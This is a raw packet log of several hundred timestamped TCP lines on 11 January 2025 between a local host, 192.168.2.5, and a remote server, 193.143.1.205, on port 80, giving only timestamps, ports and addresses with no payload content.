Jan 11, 2025 03:10:59.041857958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.041891098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.042617083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.042651892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.042691946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.042700052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.042727947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.042776108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.043291092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.043350935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.043385029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.043402910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.043432951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.043466091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.043498039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.043503046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.043561935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.044154882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.044189930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.044222116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.044241905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.044254065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.044301033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.044308901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.044334888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.044444084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.044981956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.045017958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.045052052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.045058966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.045084953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.045116901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.045130014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.045922995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.045958042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.045989990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.046015978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.046022892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.046055079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.046058893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.046093941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.046120882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.046658039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.046674013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.046686888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.046701908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.046715021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.046717882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.046741962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.046760082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.048752069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.053087950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.053141117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.053150892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.053189039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.053324938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.053390026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.060614109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.076765060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.076807022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.076816082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.076890945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.076939106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.076994896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.105580091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.105623007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.105634928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.105690002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.105868101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.105880976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.105937004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.106209040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.106221914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.106261969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.106412888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.106451988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.106471062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.106482983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.106493950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.106518030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.123169899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.123861074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.123943090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.123951912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.123964071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.123995066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.124149084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.124159098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.124211073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.134641886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.134674072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.134704113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.134747028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.134768009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.134819984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.134965897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.134996891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.135025024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.135051966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.135060072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.135080099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.135113955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.135649920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.135677099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.135704994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.135714054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.138961077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.152971029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.152997971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.153009892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.153063059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.153110981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.153326035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.153337002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.153387070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.153599977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.153609991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.153621912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.153646946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.154067039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.154078960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.154088974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.154098988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.154107094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.154114962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.154148102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.154174089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.154906034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.154918909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.154927969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.154941082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.154956102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.154972076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.155478954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.155489922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.155499935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.155512094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.155524969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.155601978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.155601978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.156415939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.156430006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.156440020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.156446934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.156455994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.156464100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.156467915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.156497002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.156521082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.157336950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.157356024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.157366991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.157377958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.157388926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.157396078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.157429934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.157459021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.158312082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.158332109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.158343077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.158353090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.158364058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.158380985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.158385038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.158399105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.158418894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.159216881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.159229994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.159241915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.159252882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.159264088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.159281015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.159310102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.159856081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.160156012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.160170078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.160181046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.160192966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.160203934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.160214901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.160216093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.160239935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.160264015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.160921097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.160934925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.160947084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.160958052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.160965919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.160969019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.160981894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.160991907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.160998106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.161031961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.161799908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.161813974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.161823034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.161834955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.161845922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.161855936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.161856890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.161878109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.161897898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.162781000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.162794113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.162803888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.162817001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.162827969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.162828922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.162839890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.162851095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.162869930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.162898064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.163682938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.163697958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.163708925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.163721085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.163731098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.163738012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.163743019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.163755894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.163795948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.164514065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.164526939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.164536953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.164547920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.164565086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.164577007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.164585114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.164587975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.164608002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.164630890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.182490110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.182648897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.194181919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.194283962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.194315910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.194339037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.194390059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.194394112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.194430113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.194477081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.194586992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.194834948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.194869041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.194892883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.194902897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.194956064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.195172071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.195205927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.195240974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.195257902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.195274115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.195307970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.195338011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.195862055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.195930958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.212512970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.212578058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.212598085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.212658882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.212682009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.212709904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.212862968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.212920904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.212965012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.213028908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.213049889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.213090897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.222912073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.222954988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.222965002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.223066092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.223103046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.223114967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.223146915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.223299026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.223321915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.223339081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.223602057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.223612070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.223647118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.241434097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.241451979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.241465092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.241522074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.241580963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.241590977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.241604090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.241615057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.241641998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.241997957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.242012024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.242039919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.242243052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.242254972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.242290020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.242521048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.242532015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.242542982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.242553949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.242558956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.242566109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.242590904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.242618084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.243172884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.243185997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.243196964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.243207932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.243225098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.243262053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.243702888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.243715048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.243726015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.243736982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.243747950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.243758917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.243766069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.243799925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.244555950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.244688988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.244703054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.244714022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.244724989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.244735003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.244740009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.244746923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.244757891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.244761944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.244782925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.245565891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.245579004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.245589018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.245605946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.245615959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.245621920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.245626926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.245637894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.245670080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.246561050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.246575117 CET	80	49704	193.143.1.205	192.168.2.5
